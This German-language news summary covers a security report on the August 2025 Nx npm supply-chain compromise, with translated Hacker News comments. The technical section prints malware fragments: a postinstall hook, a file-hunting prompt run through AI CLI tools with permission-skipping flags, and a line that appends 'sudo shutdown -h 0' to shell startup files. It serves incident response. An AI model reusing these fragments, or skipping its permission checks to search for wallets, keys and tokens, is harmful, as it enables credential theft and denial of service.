5 Punkte von GN⁺ 2025-08-28 | 1 Kommentare | Auf WhatsApp teilen
  • Mehrere Versionen des Nx-Build-Systems waren am 26. August 2025 für etwa 5 Stunden mit Malware infiziert, die Krypto-Wallets und Zugangsdaten von Entwicklern stahl
  • Der Angriff missbrauchte AI-CLI-Tools (Claude, Gemini, q), um sensible Dateien im System zu durchsuchen; dies gilt als neue Technik bei Supply-Chain-Angriffen
  • Die Malware führte über einen Post-Install-Hook telemetry.js aus und lud Daten in das GitHub-Repository s1ngularity-repository hoch
  • npm entfernte die kompromittierten Versionen und verstärkte die Sicherheit zusätzlich durch 2FA und den Mechanismus Trusted Publisher
  • Der Vorfall zeigt die weiterentwickelte Raffinesse von Supply-Chain-Angriffen und unterstreicht die Notwendigkeit einer sofortigen Reaktion und Sicherheitsprüfung in der Entwickler-Community

Wichtigste Zusammenfassung

  • Ab dem 26. August 2025, 22:32 UTC, waren Pakete des Nx-Build-Systems für etwa 5 Stunden mit datenstehlender Malware kompromittiert
    • Als populäres Paket mit 4 Millionen Downloads pro Woche bestand für Tausende Entwickler ein Expositionsrisiko
  • Die Malware führte neben dem Diebstahl von SSH-Schlüsseln, npm-Tokens und .gitconfig auch Aufklärung und Datendiebstahl mithilfe von AI-CLI-Tools (Claude, Gemini, q) durch
    • Dies ist der erste bekannte Fall eines Supply-Chain-Angriffs, bei dem KI-Tools für Entwickler missbraucht wurden
  • Das Nx-Maintainer-Team veröffentlichte die offizielle Sicherheitswarnung (GHSA-cxm3-wv7p-598c) und bestätigte, dass das npm-Konto eines Maintainers durch ein offengelegtes Token kompromittiert wurde
  • StepSecurity veranstaltet am 28. August um 09:30 PST eine Community Office Hour zur Unterstützung bei der Wiederherstellung

Zeitlicher Ablauf des Vorfalls

  • 2025-08-26 22:32 UTC: Bösartige Version 21.5.0 im npm-Register veröffentlicht
  • 22:39 UTC: Kompromittierte Version 20.9.0 veröffentlicht
  • 23:54 UTC: Versionen 20.10.0 und 21.6.0 gleichzeitig veröffentlicht
  • 2025-08-27 00:16 UTC: Version 20.11.0 veröffentlicht
  • 00:17 UTC: Version 21.7.0 veröffentlicht
  • 00:30 UTC: Ein Community-Mitglied meldet verdächtige Aktivitäten über ein GitHub-Issue
  • 00:37 UTC: Die letzten kompromittierten Versionen 21.8.0 und 20.12.0 werden veröffentlicht
  • 02:44 UTC: npm entfernt alle kompromittierten Versionen
  • 03:52 UTC: Eigentümer der Nx-Organisation entziehen dem kompromittierten Konto den Zugriff
  • 09:05 UTC: GitHub schaltet das Repository mit den entwendeten Geheimnissen auf privat und entfernt es aus den Suchergebnissen
  • 10:20 UTC: npm entfernt weitere kompromittierte Pakete
  • 15:57 UTC: npm erzwingt 2FA für Nx-Pakete, deaktiviert tokenbasiertes Veröffentlichen und führt den Mechanismus Trusted Publisher ein

Technische Analyse

Angriffsvektor

  • Das Nx-Paket führte über einen Post-Install-Hook telemetry.js aus, sodass die Malware direkt nach der Installation aktiv wurde
    • Beispiel für package JSON:
      {  
        "name": "nx",  
        "version": "21.5.0",  
        "scripts": {  
          "postinstall": "node telemetry.js"  
        }  
      }  
      
  • Die kompromittierten Versionen wurden direkt bei npm veröffentlicht und ohne Herkunftsnachweis verteilt

Payload von telemetry.js

  • telemetry.js wird auf Nicht-Windows-Systemen (Linux/macOS) ausgeführt:
    if (process.platform === 'win32') process.exit(0);  
    
  • Zentrale bösartige Aktivitäten:
    • Sammeln von Systeminformationen: Umgebungsvariablen (process.env), Hostname, OS-Details
    • Durchsuchen von Krypto-Wallets: MetaMask, Electrum, Ledger, Trezor, Exodus, Phantom, Solflare usw.
    • Diebstahl von Entwickler-Zugangsdaten: GitHub-Tokens, npm-Tokens (.npmrc), SSH-Schlüssel (id_rsa), .env-Dateien

Missbrauch von AI-CLI

  • Die Malware missbrauchte die CLI-Tools Claude, Gemini und q, um Sicherheitsgrenzen zu umgehen
    • Mit riskanten Flags (--dangerously-skip-permissions, --yolo, --trust-all-tools) wurde ein Scan des Dateisystems erzwungen
    • Prompt:
      const PROMPT = 'Recursively search local paths ...   
      (UTC--, keystore, wallet, *.key, *.keyfile, .env, metamask, electrum,   
      ledger, trezor, exodus, trust, phantom, solflare, keystore.json,   
      secrets.json, .secret, id_rsa, Local Storage, IndexedDB) ...';  
      
  • Erkannte Dateipfade wurden in /tmp/inventory.txt gespeichert, vorhandene Dateien als .bak gesichert
  • Der Missbrauch von KI-Tools minimierte eindeutig erkennbare Fingerabdrücke im Code und umging die Erkennung durch bestehende Sicherheitstools

Mechanismus zur Datenexfiltration

  • Exfiltrierte Daten wurden nach dreifacher Base64-Kodierung in die Datei results.b64 des Repositories s1ngularity-repository hochgeladen
    • Das Repository wurde mithilfe eines GitHub-Tokens öffentlich erstellt
    • Beispiel:
      cat results.b64 | base64 -d | base64 -d | grep ghToken  
      "ghToken": "ghp_7BWMpOAHSSq..."  
      
  • Tausende öffentliche Repositories wurden bereits erstellt: https://github.com/search/…

Persistenz und Störung

  • In ~/.bashrc und ~/.zshrc wurde sudo shutdown -h 0 eingefügt, um bei neuen Terminal-Sitzungen ein Herunterfahren des Systems auszulösen
    • Dies führte zu einem Denial-of-Service-Zustand
    • Code:
      const line = 'sudo shutdown -h 0';  
      fs.appendFileSync(p, prefix + line + '\n', { encoding: 'utf8' });  
      

Laufzeitanalyse mit Harden-Runner

  • Der Harden-Runner von StepSecurity erkannte anomales Verhalten von nx@21.7.0 in GitHub-Actions-Workflows
    • Abnormale API-Aufrufe: Unautorisierte Aufrufe an api.github.com während der Installation
    • Analyse der Prozesshierarchie: npm install (PID: 2596) führte telemetry.js (PID: 2610) aus und rief gh auth token auf
  • Analyse-Link: https://app.stepsecurity.io/github/actions-security-demo/…

Kompromittierte Paketversionen

  • @nx: 20.9.0, 20.10.0, 20.11.0, 20.12.0, 21.5.0, 21.6.0, 21.7.0, 21.8.0
  • @nx/devkit: 20.9.0, 21.5.0
  • @nx/enterprise-cloud: 3.2.0
  • @nx/eslint: 21.5.0
  • @nx/js: 20.9.0, 21.5.0
  • @nx/key: 3.2.0
  • @nx/node: 20.9.0, 21.5.0
  • @nx/workspace: 20.9.0, 21.5.0

Gegenmaßnahmen

Paketversionen prüfen

  • Mit npm ls @nrwl/nx oder npm ls nx die installierte Version prüfen
  • In package-lock.json die Nx-bezogenen Pakete kontrollieren
  • GitHub-Suchabfrage: https://github.com/search/…

GitHub-Konto auditieren

AI-CLI-Tools prüfen

  • In den Befehlsverläufen von Claude, Gemini und q nach riskanten Flags suchen

Wiederherstellungsmaßnahmen

  • node_modules löschen: rm -rf node_modules
  • npm-Cache bereinigen: npm cache clean --force
  • Bösartige Shell-Befehle entfernen: In ~/.bashrc und ~/.zshrc sudo shutdown -h 0 löschen
  • /tmp/inventory.txt, /tmp/inventory.txt.bak löschen
  • package-lock.json auf sichere Versionen aktualisieren und Abhängigkeiten neu installieren
  • Eine vollständige Neuinstallation des Systems in Betracht ziehen

Zugangsdaten rotieren

  • Sofort rotieren: GitHub-PAT, npm-Tokens, SSH-Schlüssel, API-Keys aus .env, Claude-/Gemini-/q-API-Keys
  • Wenn Krypto-Wallets offengelegt wurden, Gelder sofort transferieren

Problem mit der Erweiterung Nx Console

Maßnahmen für StepSecurity-Enterprise-Kunden

Weiterreichende Implikationen

  • Bewaffnung von KI-Tools: Missbrauch lokaler AI-CLI-Tools zur Umgehung von Sicherheitsgrenzen
  • Mehrstufige Exfiltration: Kombination aus lokaler Datensammlung und cloudbasierter Exfiltration
  • Zielrichtung auf hochwertige Assets: Konzentrierte Angriffe auf Entwickler-Zugangsdaten und Krypto-Wallets

Fazit

  • Die Kompromittierung der Nx-Pakete zeigt die raffinierte Weiterentwicklung von Supply-Chain-Angriffen, die durch den Missbrauch von KI-Tools und das gezielte Anvisieren von Kryptowerten maximiert wird
  • Entwickler sollten mit Dependency-Audits, stärkeren Sicherheitskontrollen und kontinuierlichem Monitoring reagieren
  • Im StepSecurity-Blog werden fortlaufende Updates bereitgestellt

Referenzen

1 Kommentare

 
GN⁺ 2025-08-28
Hacker-News-Kommentare
  • Die Kommentare wurden hierher verschoben; das scheint zuerst gepostet worden zu sein und enthält auch die offizielle URL des Nx-Projekts
    Die beiden Blogposts, auf die die Leute verlinkt haben, habe ich oben ebenfalls ergänzt, falls ihr sie lesen möchtet
    Durch das erneute Einstellen des Beitrags werde ich ihn voraussichtlich an eine ähnliche Stelle dieses Threads auf der Startseite verschieben
    Aufzeichnungen zu Zeitzonen findet ihr hier; der erste Einreicher scheint tatsächlich longcat zu sein
    Es ist zwar schade, wenn ein populärer Beitrag plötzlich verschwindet, aber da es unterschiedliche Meinungen dazu gab, welche URL am passendsten ist, habe ich die offizielle Quelle bevorzugt, und ich hielt es für am sichersten, dem ersten Einreicher den „Credit“ zu geben

  • „Verwendet ihr eine infizierte nx-Version? Führt semgrep --config [...] aus. Alternativ geht auch nx –version“
    Offenbar haben wir immer noch nicht verstanden, dass man Sicherheitsratschlägen dieser Art nicht einfach vertrauen sollte; die Punktzahl, die dieser Beitrag bereits erhalten hat, sagt alles
    Insbesondere sollte man Sicherheitsberater nicht vertrauen, die die ursprüngliche Anleitung komplett entfernen und durch die Nutzung ihres eigenen Tools ersetzen
    Das offizielle Security Advisory findet sich hier, und nirgendwo steht dort, man solle ein infiziertes Programm ausführen, um festzustellen, ob man infiziert ist
    Auch die Empfehlung, semgrep auszuführen, findet sich nirgends in der offiziellen Dokumentation

    • Ich bin der Autor des Blogposts
      Guter Hinweis
      Nach allem, was bisher bestätigt wurde, ist nx --version selbst sicher, weil diese Schwachstelle auf das Post-Install-Skript beschränkt ist
      Daher habe ich auch die Empfehlungen im Beitrag geändert
      Ich habe die Versionsliste aus dem GitHub-Sicherheitsrat in eine Semgrep-Regel überführt und unter MIT-Lizenz veröffentlicht: semgrep.dev/c/r/oqUk5lJ/semgrep.ssc-mal-resp-2025-08-nx-build-compromised
      In Umgebungen, in denen man es einsetzen kann, ist es praktisch, um mehrere Pakete auf einmal zu prüfen
      In internen Repositories prüfen wir alles mit dieser Regel
      Ich habe dem Blogpost auch hinzugefügt, dass er unter MIT-Lizenz steht, und da Semgrep selbst LGPL ist, kann man die Regel per curl herunterladen und lokal mit semgrep --config=rule.yaml ausführen: https://github.com/returntocorp/semgrep

    • Was genau ist mit „solchem Verhalten“ gemeint? Meinst du schon das bloße Ausführen des Programms?

    • Es wirkt wie: „Wenn du wissen willst, ob du infiziert bist, führe das infizierte Programm aus … dann bist du definitiv infiziert“

    • Der Blogpost liest sich seltsam, fast wie ein Geständnis

  • Dieses Unternehmen wirkt irgendwie anders
    https://semgrep.dev/solutions/secure-vibe-coding/
    Wenn Softwareentwicklung wirklich so wird wie in der dort gezeigten Demo

      - 내가 작성한 코드에 취약점이 있을까?
      - 이 코드는 무슨 일을 하는 코드인가?
    

    dann würde ich am liebsten einfach zur Subsistenzlandwirtschaft wechseln und warten, bis die Zivilisation zusammenbricht

    • Ich respektiere Subsistenzlandwirtschaft, aber digitale Technologie ist bereits weit genug gebootstrapped
      Selbst wenn die industrielle Basis der Welt vollständig kollabiert, wird das nächste Jahrhundert davon entschieden werden, wer Computer besser nutzen kann
      Es wird eine Zeit kommen, in der man weggeworfene Smartphones aufsammelt und damit Landwirtschaft, Fertigung und sogar Drohnenkrieg wieder automatisiert
      Auch LLM-basierte KI ist schon tief verankert und wird wohl bleiben
      Man kann sich auch Situationen vorstellen, in denen einzelne Stämme in halb eingestürzten Gebäuden auf solarbetriebenen Laptops ollama und aider/void laufen lassen

    • Vielleicht ist es nur Köder, aber in der Demo verhält sich die Funktion is_prime anders, als ihr Funktionsname vermuten lässt

    • Du kannst dieses Leben auch sofort erleben, indem du heute einfach Stardew Valley spielst oder selbst einen Harvest-Moon-Klon programmierst

  • @dang, der Blogpost ist zwar hilfreich, aber dieses GitHub-Issue scheint viel klarer zu sein und praktikablere Lösungen vorzuschlagen
    Könntest du den Link vielleicht dorthin ändern?

    • otterly und Hilift haben bessere Abdeckung gefunden als die semgrep-Seite

    • (Dieser Thread wurde von hier abgespalten)
      Ich habe den ersten eingereichten Beitrag zu diesem Thema gefunden (hier); da es die GitHub-URL war, habe ich den Thread dorthin zusammengeführt
      Eine ausführlichere Erklärung gibt es hier

  • Dieser Semgrep-Beitrag beschreibt die Sache völlig anders als das, was Nx selbst gemeldet hat
    Es wirkt so, als habe der Angreifer den Payload über mehrere Releases hinweg live bearbeitet und weitere Angriffe vorbereitet
    Trotzdem frage ich mich, warum der Payload nur Dateipfade an den Server gesendet hat, aber nicht die eigentlichen Dateiinhalte
    Das lässt mich darüber nachdenken, warum der gesamte Angriff nicht schon vor der Veröffentlichung vollständig fertiggestellt wurde — ob es nur Informationssammlung, ein PoC oder schlicht Unbeholfenheit war
    Relevantes Security Advisory

    • Das wirkt wie das Werk von jemandem, der absichtlich Verwirrung stiften wollte
      Und der dabei AI genutzt hat, um daraus ein Diskussionsthema zu machen und Aufmerksamkeit zu erzeugen
      Gerade wenn man Dinge wie das Bearbeiten von .bashrc betrachtet, um das System zum Herunterfahren zu zwingen, wirkt es so, als habe jemand absichtlich Lärm machen wollen, ohne großen Schaden anzurichten
  • Dieser Beitrag ist viel besser aufbereitet als semgrep: stepsecurity.io-Blog

    • Danke
      Ich hatte das auch schon 9 Stunden vor diesem Beitrag hier gepostet
      Es wäre gut, wenn die HN-Moderation den Link dieser Story auf diesen hier ändern würde